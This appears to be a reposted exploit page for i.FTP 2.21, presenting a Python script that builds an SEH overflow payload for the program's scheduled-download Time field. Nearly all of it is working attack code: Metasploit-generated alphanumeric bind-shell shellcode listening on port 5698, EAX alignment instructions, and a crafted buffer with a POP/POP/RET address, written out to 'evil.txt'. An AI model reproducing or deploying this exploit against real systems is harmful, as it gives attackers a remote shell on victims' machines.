i.FTP 2.21 - Time Field SEH Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

i.FTP 2.21 - Time Field SEH Exploit

来源：vfocus.net 作者：Revin 发布时间：2015-05-12

#!/usr/bin/python

# Exploit Title : i.FTP 2.21 Time Field SEH Exploit

# Exploit Author : Revin Hadi S

# Vulnerability PoC : Avinash Kumar Thapa "-Acid"

# Date : 05/08/2015

# Vendor : http://www.memecode.com/iftp.php

# Software Link : http://www.memecode.com/data/iftp-win32-v2.21.exe

# Version : 2.21

# Tested On : Win 7 SP1 Eng & Win XP SP2

# Triggering Exploit : Go to Schedule > Schedule download > {+} >Time field

# msfpayload windows/shell_bind_tcp LPORT=5698 R | msfencode -a x86 -e x86/alpha_upper BufferRegister=EAX -t c

shellcode = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"

"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"

"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"

"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"

"\x4c\x4a\x48\x4c\x49\x33\x30\x53\x30\x53\x30\x35\x30\x4b\x39"

"\x4a\x45\x30\x31\x4e\x32\x55\x34\x4c\x4b\x31\x42\x46\x50\x4c"

"\x4b\x51\x42\x54\x4c\x4c\x4b\x46\x32\x35\x44\x4c\x4b\x54\x32"

"\x57\x58\x54\x4f\x38\x37\x31\x5a\x31\x36\x50\x31\x4b\x4f\x36"

"\x51\x59\x50\x4e\x4c\x47\x4c\x53\x51\x53\x4c\x44\x42\x56\x4c"

"\x47\x50\x49\x51\x48\x4f\x54\x4d\x43\x31\x39\x57\x4d\x32\x4a"

"\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x34\x50\x4c\x4b\x51\x52"

"\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x51\x50\x54\x38\x4d\x55\x39"

"\x50\x32\x54\x50\x4a\x45\x51\x58\x50\x56\x30\x4c\x4b\x50\x48"

"\x44\x58\x4c\x4b\x36\x38\x47\x50\x33\x31\x48\x53\x5a\x43\x47"

"\x4c\x30\x49\x4c\x4b\x36\x54\x4c\x4b\x33\x31\x38\x56\x46\x51"

"\x4b\x4f\x50\x31\x49\x50\x4e\x4c\x4f\x31\x38\x4f\x44\x4d\x55"

"\x51\x48\x47\x46\x58\x4d\x30\x33\x45\x4b\x44\x44\x43\x53\x4d"

"\x4a\x58\x47\x4b\x43\x4d\x47\x54\x54\x35\x5a\x42\x30\x58\x4c"

"\x4b\x31\x48\x51\x34\x53\x31\x49\x43\x52\x46\x4c\x4b\x44\x4c"

"\x30\x4b\x4c\x4b\x36\x38\x45\x4c\x55\x51\x4e\x33\x4c\x4b\x55"

"\x54\x4c\x4b\x43\x31\x38\x50\x4b\x39\x57\x34\x37\x54\x37\x54"

"\x31\x4b\x51\x4b\x53\x51\x51\x49\x51\x4a\x46\x31\x4b\x4f\x4d"

"\x30\x31\x48\x51\x4f\x31\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x46"

"\x31\x4d\x33\x58\x46\x53\x47\x42\x43\x30\x43\x30\x43\x58\x52"

"\x57\x42\x53\x36\x52\x31\x4f\x50\x54\x43\x58\x30\x4c\x52\x57"

"\x51\x36\x43\x37\x4b\x4f\x4e\x35\x38\x38\x4c\x50\x55\x51\x33"

"\x30\x35\x50\x46\x49\x4f\x34\x36\x34\x36\x30\x52\x48\x57\x59"

"\x4d\x50\x52\x4b\x53\x30\x4b\x4f\x58\x55\x46\x30\x50\x50\x36"

"\x30\x30\x50\x31\x50\x46\x30\x31\x50\x50\x50\x35\x38\x4b\x5a"

"\x44\x4f\x39\x4f\x4d\x30\x4b\x4f\x39\x45\x4c\x49\x48\x47\x50"

"\x31\x49\x4b\x46\x33\x52\x48\x43\x32\x55\x50\x32\x36\x50\x42"

"\x4c\x49\x4b\x56\x52\x4a\x52\x30\x36\x36\x31\x47\x43\x58\x39"

"\x52\x59\x4b\x57\x47\x32\x47\x4b\x4f\x39\x45\x50\x53\x46\x37"

"\x32\x48\x38\x37\x4b\x59\x56\x58\x4b\x4f\x4b\x4f\x39\x45\x31"

"\x43\x51\x43\x30\x57\x35\x38\x33\x44\x5a\x4c\x57\x4b\x4b\x51"

"\x4b\x4f\x49\x45\x51\x47\x4c\x49\x4f\x37\x33\x58\x33\x45\x42"

"\x4e\x50\x4d\x33\x51\x4b\x4f\x59\x45\x32\x48\x32\x43\x42\x4d"

"\x52\x44\x43\x30\x4c\x49\x5a\x43\x46\x37\x51\x47\x31\x47\x30"

"\x31\x4a\x56\x52\x4a\x34\x52\x50\x59\x31\x46\x4a\x42\x4b\x4d"

"\x53\x56\x39\x57\x57\x34\x31\x34\x47\x4c\x53\x31\x55\x51\x4c"

"\x4d\x31\x54\x46\x44\x52\x30\x38\x46\x55\x50\x51\x54\x46\x34"

"\x30\x50\x30\x56\x36\x36\x46\x36\x50\x46\x31\x46\x50\x4e\x56"

"\x36\x46\x36\x50\x53\x30\x56\x55\x38\x53\x49\x58\x4c\x37\x4f"

"\x4c\x46\x4b\x4f\x59\x45\x4d\x59\x4b\x50\x50\x4e\x46\x36\x50"

"\x46\x4b\x4f\x50\x30\x53\x58\x43\x38\x4d\x57\x45\x4d\x35\x30"

"\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x58\x35\x39\x32\x56\x36\x33"

"\x58\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x37\x4c"

"\x35\x56\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4d\x30\x33\x45\x44"

"\x45\x4f\x4b\x47\x37\x42\x33\x32\x52\x52\x4f\x52\x4a\x35\x50"

"\x31\x43\x4b\x4f\x39\x45\x41\x41")

# Align Shellcode to EAX register

align = "\x58"*3 # POP EAX; POP EAX; POP EAX

align += "\x2d\x77\x77\x77\x77" # SUB EAX, 0x77777777

align += "\x2d\x77\x33\x33\x33" # SUB EAX, 0x33333377

align += "\x2d\x77\x22\x22\x22" # SUB EAX, 0x22222277

align += "\x2d\x3b\x32\x33\x33" # SUB EAX, 0x3333323b

buffer = "A"*300

buffer += "\x40\x75\x21\x40"

buffer += "\x67\x59\x02\x10" # /p/p/r Lgi.dll

buffer += "DOGE"*7

buffer += align

buffer += "\x43"*37

buffer += shellcode

f = open("evil.txt", "wb")

f.write(buffer)

f.close()

[